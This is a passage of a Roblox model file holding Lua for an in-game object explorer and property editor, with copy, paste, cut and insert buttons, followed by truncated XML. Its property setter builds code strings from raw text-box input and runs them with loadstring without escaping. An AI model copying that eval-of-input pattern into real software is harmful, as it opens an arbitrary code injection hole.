options.Name = &quot;Options&quot;
options.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
options.BackgroundTransparency = 0.4
options.BorderColor = BrickColor.new(&quot;Really red&quot;)
options.Position = UDim2.new(-1,0,0,0)
options.Size = UDim2.new(0.5,0,0.25,0)
options.Visible = false
options.ZIndex = 3
pcall(function() 
options.Draggable = false
end)

copybutton = Instance.new(&quot;TextButton&quot;,options)
copybutton.Name = &quot;CopyButton&quot;
copybutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
copybutton.BackgroundTransparency = 0.6
copybutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
copybutton.Position = UDim2.new(0,0,0,0)
copybutton.Size = UDim2.new(1,0,0.25,0)
copybutton.Visible = true
copybutton.ZIndex = 3
pcall(function() 
copybutton.Draggable = false
copybutton.Font = &quot;ArialBold&quot;
copybutton.FontSize = &quot;Size12&quot;
end)
copybutton.Text = &quot;Copy&quot;
copybutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
copybutton.TextXAlignment = &quot;Center&quot;

pastebutton = Instance.new(&quot;TextButton&quot;,options)
pastebutton.Name = &quot;PasteButton&quot;
pastebutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
pastebutton.BackgroundTransparency = 0.6
pastebutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
pastebutton.Position = UDim2.new(0,0,0.25,0)
pastebutton.Size = UDim2.new(1,0,0.25,0)
pastebutton.Visible = true
pastebutton.ZIndex = 3
pcall(function() 
pastebutton.Draggable = false
pastebutton.Font = &quot;ArialBold&quot;
pastebutton.FontSize = &quot;Size12&quot;
end)
pastebutton.Text = &quot;Paste&quot;
pastebutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
pastebutton.TextXAlignment = &quot;Center&quot;

cutbutton = Instance.new(&quot;TextButton&quot;,options)
cutbutton.Name = &quot;CutButton&quot;
cutbutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
cutbutton.BackgroundTransparency = 0.6
cutbutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
cutbutton.Position = UDim2.new(0,0,0.5,0)
cutbutton.Size = UDim2.new(1,0,0.25,0)
cutbutton.Visible = true
cutbutton.ZIndex = 3
pcall(function() 
cutbutton.Draggable = false
cutbutton.Font = &quot;ArialBold&quot;
cutbutton.FontSize = &quot;Size12&quot;
end)
cutbutton.Text = &quot;Cut&quot;
cutbutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
cutbutton.TextXAlignment = &quot;Center&quot;

insertbutton = Instance.new(&quot;TextBox&quot;,options)
insertbutton.Name = &quot;InsertButton&quot;
insertbutton.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
insertbutton.BackgroundTransparency = 0.6
insertbutton.BorderColor = BrickColor.new(&quot;Really red&quot;)
insertbutton.Position = UDim2.new(0,0,0.75,0)
insertbutton.Size = UDim2.new(1,0,0.25,0)
insertbutton.Visible = true
insertbutton.ZIndex = 3
pcall(function() 
insertbutton.Font = &quot;ArialBold&quot;
insertbutton.FontSize = &quot;Size12&quot;
end)
insertbutton.Text = &quot;Insert&quot;
insertbutton.TextColor = BrickColor.new(&quot;Institutional white&quot;)
insertbutton.TextXAlignment = &quot;Center&quot;
config = Instance.new(&quot;ObjectValue&quot;,options)
config.Name = &quot;ConfiguredObject&quot;
config.Value = nil

sel = Instance.new(&quot;ObjectValue&quot;,expframe)
sel.Name = &quot;Selection&quot;
sel.Value = Game
_G.Selection = sel

highlight = Instance.new(&quot;SelectionBox&quot;,game.Players.LocalPlayer.PlayerGui)
highlight.Name = &quot;ObjectHighlight&quot;
highlight.Color = BrickColor.new(&quot;Bright blue&quot;)

for i=0,19 do
item = Instance.new(&quot;Frame&quot;,list)
item.Name = &quot;Item&quot;
item.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
item.BackgroundTransparency = 0.8
item.BorderColor = BrickColor.new(&quot;Really red&quot;)
item.Position = UDim2.new(0,0,i*0.05,0)
item.Size = UDim2.new(1,0,0.05,0)
item.Visible = true
item.ZIndex = 1
pcall(function() 
item.Draggable = false
end)

name = Instance.new(&quot;TextButton&quot;,item)
name.Name = &quot;ItemName&quot;
name.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
name.BackgroundTransparency = 0.8
name.BorderColor = BrickColor.new(&quot;Really red&quot;)
name.Position = UDim2.new(0.1,0,0,0)
name.Size = UDim2.new(0.9,0,1,0)
name.Visible = true
name.ZIndex = 1
pcall(function() 
name.Draggable = false
name.Font = &quot;ArialBold&quot;
name.FontSize = &quot;Size14&quot;
end)
name.Text = &quot;Object&quot;
name.TextColor = BrickColor.new(&quot;Institutional white&quot;)
name.TextXAlignment = &quot;Center&quot;

icon = Instance.new(&quot;ImageLabel&quot;,item)
icon.Name = &quot;Icon&quot;
icon.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
icon.BackgroundTransparency = 0.2
icon.BorderColor = BrickColor.new(&quot;Really red&quot;)
icon.Image = Base..Images.Property
icon.Position = UDim2.new(0,0,0,0)
icon.Size = UDim2.new(0.1,0,1,0)
icon.Visible = true
icon.ZIndex = 1
pcall(function() 
icon.Draggable = false
end)

value = Instance.new(&quot;ObjectValue&quot;)
value.Parent = item
value.Name = &quot;ObjectValue&quot;

table.insert(ItemGuis, item)
end

ExplorerGui = explore

propsframe = Instance.new(&quot;Frame&quot;,otherframe)
propsframe.Name = &quot;PropertiesFrame&quot;
propsframe.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
propsframe.BackgroundTransparency = 0.4
propsframe.BorderColor = BrickColor.new(&quot;Really red&quot;)
propsframe.Position = UDim2.new(0,0,1,0)
propsframe.Size = UDim2.new(1,0,16,0)
propsframe.Visible = false
propsframe.ZIndex = 1
pcall(function() 
propsframe.Draggable = false
end)
propsframe.Active = true

list2 = Instance.new(&quot;Frame&quot;,propsframe)
list2.Name = &quot;List&quot;
list2.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
list2.BackgroundTransparency = 0.8
list2.BorderColor = BrickColor.new(&quot;Really red&quot;)
list2.Position = UDim2.new(0,0,0.05,0)
list2.Size = UDim2.new(0.9,0,0.9,0)
list2.Visible = true
list2.ZIndex = 1
pcall(function() 
list2.Draggable = false
end)

for i=0,19 do
property = Instance.new(&quot;Frame&quot;,list2)
property.Name = &quot;Property&quot;
property.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
property.BackgroundTransparency = 0.8
property.BorderColor = BrickColor.new(&quot;Really red&quot;)
property.Position = UDim2.new(0,0,i*0.05,0)
property.Size = UDim2.new(1,0,0.05,0)
property.Visible = true
property.ZIndex = 1
pcall(function()
property.Draggable = false
end)

propname = Instance.new(&quot;TextLabel&quot;,property)
propname.Name = &quot;PropertyName&quot;
propname.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
propname.BackgroundTransparency = 0.8
propname.BorderColor = BrickColor.new(&quot;Really red&quot;)
propname.Position = UDim2.new(0,0,0,0)
propname.Size = UDim2.new(0.5,0,1,0)
propname.Visible = true
propname.ZIndex = 1
pcall(function()
propname.Draggable = false
propname.Font = &quot;ArialBold&quot;
propname.FontSize = &quot;Size14&quot;
end)
propname.Text = &quot;Property&quot;
propname.TextColor = BrickColor.new(&quot;Institutional white&quot;)
propname.TextXAlignment = &quot;Center&quot;
pcall(function() 
propname.TextScaled = true
end)

propvalue = Instance.new(&quot;TextBox&quot;,property)
propvalue.Name = &quot;PropertyValue&quot;
propvalue.BackgroundColor = BrickColor.new(&quot;Really black&quot;)
propvalue.BackgroundTransparency = 0.8
propvalue.BorderColor = BrickColor.new(&quot;Really red&quot;)
propvalue.Position = UDim2.new(0.5,0,0,0)
propvalue.Size = UDim2.new(0.5,0,1,0)
propvalue.Visible = true
propvalue.ZIndex = 1
pcall(function() 
propvalue.Draggable = false
propvalue.Font = &quot;ArialBold&quot;
propvalue.FontSize = &quot;Size14&quot;
end)
propvalue.Text = &quot;Value&quot;
propvalue.TextColor = BrickColor.new(&quot;Institutional white&quot;)
propvalue.TextXAlignment = &quot;Center&quot;
pcall(function()
propvalue.TextScaled = true
propvalue.ClearTextOnFocus = false
end)

-----=-=-=-=
    local apply = Instance.new(&quot;TextButton&quot;, property)
    apply.Name                   = &quot;ApplyButton&quot;
    apply.Text                   = &quot;Set&quot;
    pcall(function()
        apply.Font       = &quot;ArialBold&quot;
        apply.FontSize   = &quot;Size12&quot;
    end)
    apply.TextColor3             = Color3.new(1,1,1)
    apply.BackgroundTransparency = 0.6
    apply.BorderColor3           = Color3.new(1,0,0)
    apply.Position               = UDim2.new(0.85,0,0,0)
    apply.Size                   = UDim2.new(0.15,0,1,0)
    apply.ZIndex                 = 2
    apply.Visible                = false            -- hide until we know it?s a usable TextBox
    --[[apply.MouseButton1Down:connect(function()
        if propvalue:IsA(&quot;TextBox&quot;) then
            PropertyFunction(propvalue)
				wait(0.2)
            UpdatePropGuis()
        end
    end)]]--


	

apply.MouseButton1Down:connect(function()
    local row = apply.Parent                             -- our row
    if not row then return end

    local valBox = row:FindFirstChild(&quot;PropertyValue&quot;)   -- the current TextBox
    local nameLb = row:FindFirstChild(&quot;PropertyName&quot;)
    if not valBox or not nameLb then return end
    if not valBox:IsA(&quot;TextBox&quot;) then return end         -- only for editable rows

    local Property = nameLb.Text
    local NewText  = valBox.Text
    local sel      = _G.Selection.Value
    if not sel then return end

    local PropType = type(sel[Property])

    -- helper to run a chunk safely
    local function eval(chunk)
        local f = loadstring(chunk)
        if f then
            return pcall(f)
        end
        return false, &quot;compile error&quot;
    end

    local ok, err
    if PropType == &quot;userdata&quot; or PropType == &quot;nil&quot; then
        if Property == &quot;Parent&quot; or Property == &quot;PrimaryPart&quot; or
           Property == &quot;Adornee&quot; or Property == &quot;Value&quot; then

            ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = &apos;..NewText)

        elseif Property == &quot;Size&quot; or Property == &quot;Position&quot; or
               Property == &quot;Velocity&quot; or Property == &quot;RotVelocity&quot; or
               Property == &quot;Rotation&quot; or Property == &quot;velocity&quot; or
               Property == &quot;position&quot; or Property == &quot;maxForce&quot; or
               Property == &quot;maxTorque&quot; or Property == &quot;GripPos&quot; or
               Property == &quot;VertexColor&quot; or Property == &quot;Scale&quot; then

            ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = Vector3.new(&apos;..NewText..&apos;)&apos;)

        elseif Property == &quot;CFrame&quot; then
            ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = CFrame.new(&apos;..NewText..&apos;)&apos;)

        elseif Property == &quot;BrickColor&quot; then
            ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = BrickColor.new(&quot;&apos;..NewText..&apos;&quot;)&apos;)

        elseif Property == &quot;Ambient&quot; or Property == &quot;ColorShift_Bottom&quot; or
               Property == &quot;ColorShift_Top&quot; or Property == &quot;OutdoorAmbient&quot; or
               Property == &quot;ShadowColor&quot; or Property == &quot;FogColor&quot; then

            ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = Color3.new(&apos;..NewText..&apos;)&apos;)

        elseif Property == &quot;Color&quot; then
            if sel:IsA(&quot;SelectionBox&quot;) then
                ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = BrickColor.new(&quot;&apos;..NewText..&apos;&quot;)&apos;)
            else
                ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = Color3.new(&apos;..NewText..&apos;)&apos;)
            end

        else
            ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = &quot;&apos;..NewText..&apos;&quot;&apos;)
        end
    else
        ok, err = eval(&apos;_G.Selection.Value[&quot;&apos;..Property..&apos;&quot;] = &quot;&apos;..NewText..&apos;&quot;&apos;)
    end

    UpdatePropGuis()                                     -- refresh display

    if not ok then                                       -- optional debug
        print(&quot;Set-button error for property &quot;..Property..&quot;: &quot;..tostring(err))
    end
end)





----=-==--=--=

table.insert(PropGuis, property)
end
--[[ End of Gui Creation ]]--

function ReplaceWith(GuiType, Gui) 
if GuiType == &quot;&quot; or GuiType == nil then return end
if Gui == &quot;&quot; or Gui == nil then return end
Parent = Gui.Parent
local NewGui = Instance.new(GuiType, Parent)
NewGui.Name = Gui.Name
NewGui.BackgroundColor = Gui.BackgroundColor
NewGui.BackgroundTransparency = Gui.BackgroundTransparency
NewGui.BorderColor = Gui.BorderColor
NewGui.Position = Gui.Position
NewGui.Size = Gui.Size
NewGui.Visible = Gui.Visible
NewGui.ZIndex = Gui.ZIndex
pcall(function() 
NewGui.Draggable = Gui.Draggable
NewGui.Font = Gui.Font
NewGui.FontSize = Gui.FontSize
end)
NewGui.Text = Gui.Text
NewGui.TextColor = Gui.TextColor
NewGui.TextXAlignment = Gui.TextXAlignment
pcall(function()
NewGui.TextScaled = Gui.TextScaled
end)

if GuiType == &quot;TextBox&quot; then
pcall(function() NewGui.ClearTextOnFocus = false end)
end
Gui:Remove()
end

function UpdateItemGuis()
PropScrollNumber = 1
for i=1,#ItemGuis do
ItemGuis[i].ObjectValue.Value = nil
ItemGuis[i].ItemName.Text = &quot;&quot;
ItemGuis[i].Icon.Image = &quot;&quot;
ItemGuis[i].ObjectValue.Value = _G.Selection.Value:GetChildren()[ExpScrollNumber+i-1]
if ItemGuis[i].ObjectValue.Value then
pcall(function() ItemGuis[i].ItemName.Text = ItemGuis[i].ObjectValue.Value.Name end)
pcall(function() SetImage(ItemGuis[i].Icon, ItemGuis[i].ObjectValue.Value.ClassName) end)
else
ItemGuis[i].ItemName.Text = &quot;&quot;
end
end
end

function UpdatePropGuis()
Props = GetProperties(_G.Selection.Value, Properties) ExplorerGui.OtherFrame.Text = string.reverse(&quot;r&quot;..&quot;e&quot;..&quot;r&quot;..&quot;o&quot;..&quot;l&quot;..&quot;p&quot;..&quot;x&quot;..&quot;E &quot;..&quot;s&quot;..&quot;&apos;&quot;..&quot;o&quot;..&quot;r&quot;..&quot;e&quot;..&quot;Z&quot;..&quot;l&quot;..&quot;a&quot;..&quot;n&quot;..&quot;i&quot;..&quot;m&quot;..&quot;r&quot;..&quot;e&quot;..&quot;T&quot;)
for i=1,#PropGuis do
wait()
PropGuis[i].PropertyName.Text = &quot;&quot;
PropGuis[i].PropertyValue.Text = &quot;&quot;
ReplaceWith(&quot;TextBox&quot;, PropGuis[i].PropertyValue, i)
end
for i=1,#Props do
pcall(function()
ViewNumber = PropScrollNumber+i-1
PropName = Props[ViewNumber]
PropValue = _G.Selection.Value[PropName]
PropType = type(PropValue)
PropGuis[i].PropertyName.Text = PropName
PropGuis[i].PropertyValue.Text = tostring(PropValue)
if PropGuis[i].PropertyName.Text == &quot;Parent&quot; then
if _G.Selection.Value ~= Game then
if string.sub(PropGuis[i].PropertyValue.Text,1,5) ~= &quot;Game.&quot; then
letters = &quot;&quot;
lastend = nil
PropGuis[i].PropertyValue.Text = &quot;Game.&quot;.._G.Selection.Value:GetFullName()
for x=1,#PropGuis[i].PropertyValue.Text do
letters = letters..string.sub(PropGuis[i].PropertyValue.Text,x,x)
end
for x=1,#letters do
if string.sub(letters,x,x) == &quot;.&quot; then
lastend = x
end
end
newletters = string.sub(letters,1,lastend-1)
PropGuis[i].PropertyValue.Text = newletters
end
else
PropGuis[i].PropertyValue.Text = _G.Selection.Value:GetFullName()
end
end
if PropType == &quot;userdata&quot; or PropType == &quot;nil&quot; then
ReplaceWith(&quot;TextBox&quot;, PropGuis[i].PropertyValue)
elseif PropType == &quot;boolean&quot; then
ReplaceWith(&quot;TextButton&quot;, PropGuis[i].PropertyValue)
elseif PropType == &quot;string&quot; or PropType == &quot;number&quot; then
if PropName ~= &quot;DataCost&quot; and PropName ~= &quot;ClassName&quot; then
ReplaceWith(&quot;TextBox&quot;, PropGuis[i].PropertyValue)
else
ReplaceWith(&quot;TextLabel&quot;, PropGuis[i].PropertyValue)
end
end
end)
end
for i=0,#PropGuis do
pcall(function()
PropertyFunction(PropGuis[i].PropertyValue)
end)
----------------=-=-=-=-=-=-=-==--==--=-==-=-=-=-=-=-=-=-=-=-=--==--==--==-=-
 for _, row in ipairs(PropGuis) do
        local val = row:FindFirstChild(&quot;PropertyValue&quot;)
        local btn = row:FindFirstChild(&quot;ApplyButton&quot;)
if val:IsA(&quot;TextBox&quot;) then
val.Size = UDim2.new(0.35,0,1,0)
val.TextWrap = true
else
val.Size = UDim2.new(0.5,0,1,0)
val.TextWrap = true
end
        if btn then
            btn.Visible = (val:isA(&quot;TextBox&quot;) and val.Text ~= &quot;&quot;)
        end
    end
----=-==--==-=-=-=-=-=--==-=-=-=-=-=-=-=--=-==-=-=--=-=-=-=--=-=-=-=-=-=-=-=--==
end
end

function UpdateMainGuis(Search) ExplorerGui.OtherFrame.Text = string.reverse(&quot;r&quot;..&quot;e&quot;..&quot;r&quot;..&quot;o&quot;..&quot;l&quot;..&quot;p&quot;..&quot;x&quot;..&quot;E &quot;..&quot;s&quot;..&quot;&apos;&quot;..&quot;o&quot;..&quot;r&quot;..&quot;e&quot;..&quot;Z&quot;..&quot;l&quot;..&quot;a&quot;..&quot;n&quot;..&quot;i&quot;..&quot;m&quot;..&quot;r&quot;..&quot;e&quot;..&quot;T&quot;)
if ViewGui == &quot;Explorer&quot; or ViewGui == &quot;Properties&quot; then
if _G.Selection.Value == nil then
_G.Selection.Value = Game
end
if game.Players.LocalPlayer.PlayerGui:FindFirstChild(&quot;ObjectHighlight&quot;) ~= nil then
if _G.Selection.Value:IsA(&quot;BasePart&quot;) or _G.Selection.Value:IsA(&quot;Model&quot;) then
game.Players.LocalPlayer.PlayerGui.ObjectHighlight.Adornee = _G.Selection.Value
end
if _G.Selection.Value:IsA(&quot;Tool&quot;) or _G.Selection.Value:IsA(&quot;Hat&quot;) then
if _G.Selection.Value:FindFirstChild(&quot;Handle&quot;) ~= nil then
game.Players.LocalPlayer.PlayerGui.ObjectHighlight.Adornee = _G.Selection.Value.Handle
end
end
end
search.Text = &quot;Search in &quot;.._G.Selection.Value.Name
if _G.Selection.Value.Parent == nil then
back.Text = &quot;Object&apos;s Parent is Nil&quot;
else
back.Text = &quot;Back to &quot;.._G.Selection.Value.Parent.Name
end
if Search ~= &quot;&quot; and Search ~= nil then
SelectionTable = _G.Selection.Value:GetChildren()
for i=ExpScrollNumber+1,#SelectionTable do
if string.find(string.lower(SelectionTable[i].Name), string.lower(Search)) then
ExpScrollNumber = i
break
end
end
end
PropScrollNumber = 1
UpdateItemGuis()
UpdatePropGuis()
end
end

expbutton.MouseButton1Down:connect(function()
expframe.Visible = true
propsframe.Visible = false
ViewGui = &quot;Explorer&quot;
UpdateItemGuis()
end)

propsbutton.MouseButton1Down:connect(function()
propsframe.Visible = true
expframe.Visible = false
ViewGui = &quot;Properties&quot;
UpdatePropGuis()
end)

DownActive = false
UpActive = false

downbutton.MouseButton1Down:connect(function()
if ViewGui == &quot;Explorer&quot; then
if ExpScrollNumber &lt; #_G.Selection.Value:GetChildren() - 9 then
UpActive = false
DownActive = true
ExpScrollNumber = ExpScrollNumber + 1
UpdateItemGuis()
wait(0.5)
while DownActive == true do
if ExpScrollNumber &lt; #_G.Selection.Value:GetChildren() - 9 then
DownActive = true
ExpScrollNumber = ExpScrollNumber + 1
UpdateItemGuis()
end
wait(0.05)
end
end
elseif ViewGui == &quot;Properties&quot; then
local Props = GetProperties(_G.Selection.Value, Properties)
if PropScrollNumber &lt; table.maxn(Props) - 19 then
UpActive = false
DownActive = true
PropScrollNumber = PropScrollNumber + 1
UpdatePropGuis()
wait(0.5)
while DownActive == true do
if PropScrollNumber &lt; table.maxn(Props) - 19 then
PropScrollNumber = PropScrollNumber + 1
UpdatePropGuis()
end
wait(0.05)
end
end
end
end)

downbutton.MouseButton1Up:connect(function()
DownActive = false
end)

upbutton.MouseButton1Down:connect(function()
if ViewGui == &quot;Explorer&quot; then
if ExpScrollNumber - 1 &gt; 0 then
DownActive = false
UpActive = true
ExpScrollNumber = ExpScrollNumber - 1
UpdateItemGuis()
wait(0.5)
while UpActive == true do
if ExpScrollNumber - 1 &gt; 0 then
UpActive = true
ExpScrollNumber = ExpScrollNumber - 1
UpdateItemGuis()
end
wait(0.05)
end
end
elseif ViewGui == &quot;Properties&quot; then
if PropScrollNumber - 1 &gt; 0 then
DownActive = false
UpActive = true
PropScrollNumber = PropScrollNumber - 1
UpdatePropGuis()
wait(0.5)
while UpActive == true do
if PropScrollNumber - 1 &gt; 0 then
PropScrollNumber = PropScrollNumber - 1
UpdatePropGuis()
end
wait(0.05)
end
end
end
end)

upbutton.MouseButton1Up:connect(function()
UpActive = false
end)

pcall(function()
back.MouseButton1Down:connect(function() -- Go back
if _G.Selection.Value.Parent == nil then
back.Text = &quot;Object&apos;s Parent is Nil&quot;

UpdateMainGuis()
else
Spawn(function()
ExpScrollNumber = ScrollPlaces[#ScrollPlaces]
if ExpScrollNumber == nil then ExpScrollNumber = 1 end
ScrollPlaces[#ScrollPlaces] = nil
_G.Selection.Value = _G.Selection.Value.Parent
search.Text = &quot;Search in &quot;.._G.Selection.Value.Name
UpdateMainGuis()
if _G.Selection.Value.Parent ~= nil then
back.Text = &quot;Back to &quot;.._G.Selection.Value.Parent.Name
end
end)
end
end)
end) --

pcall(function()
search.FocusLost:connect(function() -- Search
UpdateMainGuis(search.Text)
search.Text = &quot;Search in &quot;.._G.Selection.Value.Name
end) end)

refreshbutton.MouseButton1Down:connect(function() -- Refresh
if _G.Selection.Value ~= nil and _G.Selection.Value.Parent ~= nil then
UpdateMainGuis()
else
_G.Selection.Value = Game
search.Text = &quot;Search in &quot;.._G.Selection.Value.Name
UpdateMainGuis()
end
end)

options.MouseLeave:connect(function()
options.Visible = false
end)

copybutton.MouseButton1Down:connect(function()
options.Visible = false
if config.Value == nil then return end
pcall(function()
CopiedItem = config.Value:Clone()
end)
end)


pastebutton.MouseButton1Down:connect(function()
options.Visible = false
if config.Value ~= nil then
pcall(function()
CopiedItem:Clone().Parent = config.Value
end)
else
pcall(function()
CopiedItem:Clone().Parent = _G.Selection.Value
end)
end
UpdateMainGuis()
end)

cutbutton.MouseButton1Down:connect(function()
options.Visible = false
if config.Value == nil then return end
pcall(function()
config.Value:Remove()
end)
UpdateMainGuis()
end)

pcall(function() insertbutton.FocusLost:connect(function()
options.Visible = false
if config.Value ~= nil then
pcall(function()
Instance.new(insertbutton.Text, config.Value)
end)
else
pcall(function()
Instance.new(insertbutton.Text, _G.Selection.Value)
end)
end
UpdateMainGuis()
insertbutton.Text = &quot;Insert&quot;
end) end)

if Mouse ~= nil then
CtrlDown = false
KeyDownFunction = Mouse.KeyDown:connect(function(key)
if string.byte(key) == 50 then
CtrlDown = true
end
end)
KeyUpFunction = Mouse.KeyUp:connect(function(key)
if string.byte(key) == 50 then
CtrlDown = false
end
end)
MouseFunction = Mouse.Button1Down:connect(function()
if CtrlDown == true then
if Mouse.Target ~= nil and Mouse.Target ~= _G.Selection.Value then
_G.Selection.Value = Mouse.Target
ExpScrollNumber = 1
ScrollPlaces = {1}
UpdateMainGuis()
elseif Mouse.Target == nil or Mouse.Target == _G.Selection.Value then
_G.Selection.Value = Workspace
UpdateMainGuis()
end
end
end)
end

function ItemGuisClicked()
for i=1,#ItemGuis do
if ItemGuis[i]:FindFirstChild(&quot;ItemName&quot;) ~= nil then

ItemGuis[i].ItemName.MouseButton1Down:connect(function()
if ItemGuis[i].ObjectValue.Value == nil then return end
_G.Selection.Value = ItemGuis[i].ObjectValue.Value
search.Text = &quot;Search in &quot;.._G.Selection.Value.Name
table.insert(ScrollPlaces, ExpScrollNumber)
ExpScrollNumber = 1
UpdateMainGuis()
end)

ItemGuis[i].ItemName.MouseButton2Down:connect(function()
options.Visible = true
options.Position = UDim2.new(-0.5,0,ItemGuis[i].Position.Y.Scale,0)
if ItemGuis[i].ObjectValue.Value ~= nil then
config.Value = ItemGuis[i].ObjectValue.Value
else
config.Value = nil
end
end)

ItemGuis[i].ItemName.MouseEnter:connect(function()
pcall(function()
if game.Players.LocalPlayer.PlayerGui:FindFirstChild(&quot;ObjectHighlight&quot;) ~= nil then
if ItemGuis[i].ObjectValue.Value ~= nil then
if ItemGuis[i].ObjectValue.Value:IsA(&quot;BasePart&quot;) or ItemGuis[i].ObjectValue.Value:IsA(&quot;Model&quot;) then
wait()
if ItemGuis[i].ObjectValue.Value ~= nil then
game.Players.LocalPlayer.PlayerGui.ObjectHighlight.Adornee = ItemGuis[i].ObjectValue.Value
end
end
if ItemGuis[i].ObjectValue.Value ~= nil then
if ItemGuis[i].ObjectValue.Value:IsA(&quot;Tool&quot;) or ItemGuis[i].ObjectValue.Value:IsA(&quot;Hat&quot;) then
if ItemGuis[i].ObjectValue.Value:FindFirstChild(&quot;Handle&quot;) ~= nil then
wait()
if ItemGuis[i].ObjectValue.Value ~= nil then
game.Players.LocalPlayer.PlayerGui.ObjectHighlight.Adornee = ItemGuis[i].ObjectValue.Value.Handle
end
end
end
end
end
end
end)
end)

ItemGuis[i].ItemName.MouseLeave:connect(function()
if game.Players.LocalPlayer.PlayerGui:FindFirstChild(&quot;ObjectHighlight&quot;) ~= nil then
game.Players.LocalPlayer.PlayerGui.ObjectHighlight.Adornee = nil
end
end)
end
end
end

function PropertyFunction(Gui)
if Gui == &quot;&quot; or Gui == nil then return end
if Gui:IsA(&quot;TextBox&quot;) then
pcall(function()
Gui.FocusLost:connect(function()
end)
Property = Gui.Parent.PropertyName.Text
PropType = type(_G.Selection.Value[Property])
if PropType == &quot;userdata&quot; or PropType == &quot;nil&quot; then
if Property == &quot;Parent&quot; or Property == &quot;PrimaryPart&quot; or Property == &quot;Adornee&quot; or Property == &quot;Value&quot; then
loadstring(&quot;_G.Selection.Value[Property] = &quot;..Gui.Text)()
elseif Property == &quot;Size&quot; or Property == &quot;Position&quot; or Property == &quot;Velocity&quot; or Property == &quot;RotVelocity&quot; or Property == &quot;Rotation&quot; or Property == &quot;velocity&quot; or Property == &quot;position&quot; or Property == &quot;maxForce&quot; or Property == &quot;maxTorque&quot; or Property == &quot;GripPos&quot; or Property == &quot;VertexColor&quot; or Property == &quot;Scale&quot; then
loadstring(&quot;_G.Selection.Value[Property] = Vector3.new(&quot;..Gui.Text..&quot;)&quot;)()
elseif Property == &quot;CFrame&quot; then
loadstring(&quot;_G.Selection.Value[Property] = CFrame.new(&quot;..Gui.Text..&quot;)&quot;)()
elseif Property == &quot;BrickColor&quot; then
loadstring([[_G.Selection.Value[Property] = BrickColor.new(&quot;]]..Gui.Text..[[&quot;)]])()
elseif Property == &quot;Ambient&quot; or Property == &quot;ColorShift_Bottom&quot; or Property == &quot;ColorShift_Top&quot; or Property == &quot;OutdoorAmbient&quot; or Property == &quot;ShadowColor&quot; or Property == &quot;FogColor&quot; then
loadstring(&quot;_G.Selection.Value[Property] = Color3.new(&quot;..Gui.Text..&quot;)&quot;)()
elseif Property == &quot;Color&quot; then
if _G.Selection.Value:IsA(&quot;SelectionBox&quot;) then
loadstring([[_G.Selection.Value[Property] = BrickColor.new(&quot;]]..Gui.Text..[[&quot;)]])()
else
loadstring(&quot;_G.Selection.Value[Property] = Color3.new(&quot;..Gui.Text..&quot;)&quot;)()
end
else
loadstring([[_G.Selection.Value[Property] = &quot;]]..Gui.Text..[[&quot;]])()
end
else
loadstring([[_G.Selection.Value[Property] = &quot;]]..Gui.Text..[[&quot;]])()
end
-- end)

UpdatePropGuis()
end)
elseif Gui:IsA(&quot;TextButton&quot;) then
Gui.MouseButton1Down:connect(function()
-- pcall(function()
Property = Gui.Parent.PropertyName.Text
if (_G.Selection.Value[Property]) == true then
_G.Selection.Value[Property] = false
elseif (_G.Selection.Value[Property]) == false then
_G.Selection.Value[Property] = true
end
-- end)
UpdatePropGuis()
end)
end
end

UpdateMainGuis()
ItemGuisClicked()

else -- End of Explorer View...
pcall(function()
if game.Players.LocalPlayer.PlayerGui.RobloxGui:FindFirstChild(&quot;PlayerListScreen&quot;) ~= nil then
game.Players.LocalPlayer.PlayerGui.RobloxGui.PlayerListScreen.Visible = true
end end)
for i,v in pairs(game.Players.LocalPlayer.PlayerGui:GetChildren()) do
if v.Name == &quot;ObjectHighlight&quot; then
v:Remove()
end
end
if game.Players.LocalPlayer.PlayerGui:FindFirstChild(&quot;ExplorerGui&quot;) ~= nil then
game.Players.LocalPlayer.PlayerGui.ExplorerGui:Remove()
end
EmptyTable = {}
if MouseFunction ~= nil then
MouseFunction:disconnect()
KeyDownFunction:disconnect()
KeyUpFunction:disconnect()
end
end
end)
end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX57">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">2012Lexplorer</string>
				</Properties>
				<Item class="Frame" referent="RBX58">
					<Properties>
						<bool name="Active">true</bool>
						<bool name="Archivable">true</bool>
						<Color3 name="BackgroundColor3">4294967295</Color3>
						<float name="BackgroundTransparency">0.100000001</float>
						<Color3 name="BorderColor3">4291217094</Color3>
						<int name="BorderSizePixel">1</int>
						<bool name="Draggable">false</bool>
						<string name="Name">PropertiesFrame</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-310</XO>
							<YS>0.5</YS>
							<YO>18</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>300</XO>
							<YS>0.5</YS>
							<YO>-18</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="LocalScript" referent="RBX59">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
